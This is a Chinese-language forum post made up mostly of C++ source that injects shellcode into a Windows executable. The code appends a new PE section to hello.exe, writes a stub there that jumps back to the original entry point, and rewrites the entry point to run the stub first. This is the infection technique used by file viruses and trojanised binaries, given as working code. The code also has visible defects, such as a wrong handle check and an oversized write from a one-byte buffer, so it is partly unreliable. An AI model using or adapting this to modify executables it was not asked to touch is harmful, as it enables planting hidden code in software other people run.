看流星社区

 找回密码
 注册账号
查看: 2034|回复: 0

增加节表存放shellcode

[复制链接]

该用户从未签到

发表于 2017-6-2 11:01:13 | 显示全部楼层 |阅读模式
将shellcode放在PE文件新增的节表中
// InsertShellCodeToPE.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>

#define FILENAME        "hello.exe"

//自定义的shellcode
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

/************************************************************************/
/* 函数说明:将dwNum按dwAlign大小生成对齐大小                           */
/* 参数:dwNum 待对齐的数据长度                                                            */
/*                 dwAlign  对齐粒度                                                                                        */
/* 返回值:返回按指定粒度对齐后的大小                                            */
/************************************************************************/
DWORD Align(DWORD dwNum, DWORD dwAlign)
{
        if (dwNum % dwAlign == 0)
        {
                return dwNum;
        }
        else
        {
                return (dwNum / dwAlign + 1) * dwAlign;
        }
}


int main(int argc, char* argv[])
{
        HANDLE hFile = ::CreateFile(FILENAME, FILE_GENERIC_READ|FILE_GENERIC_WRITE|FILE_GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (NULL == hFile)
        {
                printf("createfile error");
                return -1;
        }
        HANDLE hFileMap = ::CreateFileMapping(hFile, NULL, PAGE_EXECUTE_READWRITE, 0, 0, NULL);
        int n = GetLastError();
        if (NULL == hFileMap)
        {
                printf("CreateFileMapping error");
                return -1;
        }
        LPVOID lpMemory = ::MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, 0);
        if (NULL == lpMemory)
        {
                printf("MapViewOfFile error");
                return -1;
        }
       
        PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpMemory;
        PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)lpMemory + pDosHeader->e_lfanew);
        PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&amp;(pNTHeader->FileHeader);
        PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&amp;pNTHeader->OptionalHeader;

        PIMAGE_SECTION_HEADER pSection = NULL;
        IMAGE_SECTION_HEADER secToAdd = {0};

        if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE || pNTHeader->Signature != IMAGE_NT_SIGNATURE)
        {
                printf("Not valid PE file...");
                return -1;
        }

        pSection = (PIMAGE_SECTION_HEADER)((BYTE*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
       
        DWORD dwSectionNum = pFileHeader->NumberOfSections;
        DWORD dwSectionAlign = pOptionalHeader->SectionAlignment;
        DWORD dwOEP = pOptionalHeader->AddressOfEntryPoint;
        dwOEP = (DWORD)(pOptionalHeader->ImageBase + dwOEP);

       
        pSection = pSection + dwSectionNum - 1;                //pSection指向了最后一个section节表的起始,下面根据最后一个section节表设置新的节表数据
        strcpy((char *)secToAdd.Name, ".xiaoju");
        secToAdd.Characteristics = pSection->Characteristics;
        secToAdd.VirtualAddress = pSection->VirtualAddress + Align(pSection->Misc.VirtualSize, dwSectionAlign);
        secToAdd.Misc.VirtualSize = dwSectionAlign;
        secToAdd.PointerToRawData = pSection->PointerToRawData + pSection->SizeOfRawData;
        secToAdd.SizeOfRawData = dwSectionAlign;

        pSection++; //pSection指向了所有节表的最后
        //写入新的节表
        memcpy(pSection, &amp;secToAdd, sizeof(IMAGE_SECTION_HEADER));

        //改写pe文件中节表的数量
        pFileHeader->NumberOfSections++;

        //将shellcode中的预留位填充好
        *(DWORD*)&amp;shellcode[5] = dwOEP;

        //增加文件大小
        BYTE bNum = '\x0';
        DWORD dwWritten = 0;
        ::SetFilePointer(hFile, 0, 0, FILE_END);
        ::WriteFile(hFile, &amp;bNum, dwSectionAlign, &amp;dwWritten, NULL);

        //在新增节表的PointerToRawData处写入shellcode
        ::SetFilePointer(hFile, pSection->PointerToRawData, 0, FILE_BEGIN);
        ::WriteFile(hFile, shellcode, strlen(shellcode)+3, &amp;dwWritten, NULL);

        //修改程序的映象大小和OEP
        pOptionalHeader->SizeOfImage = pOptionalHeader->SizeOfImage + dwSectionAlign;
        pOptionalHeader->AddressOfEntryPoint = pSection->VirtualAddress;

        ::UnmapViewOfFile(lpMemory);

       
        ::CloseHandle(hFileMap);
        ::CloseHandle(hFile);

        return 0;
}
[/code]

原始hello.exe






程序运行后,修改后的hello.exe
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-3-19 14:02

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表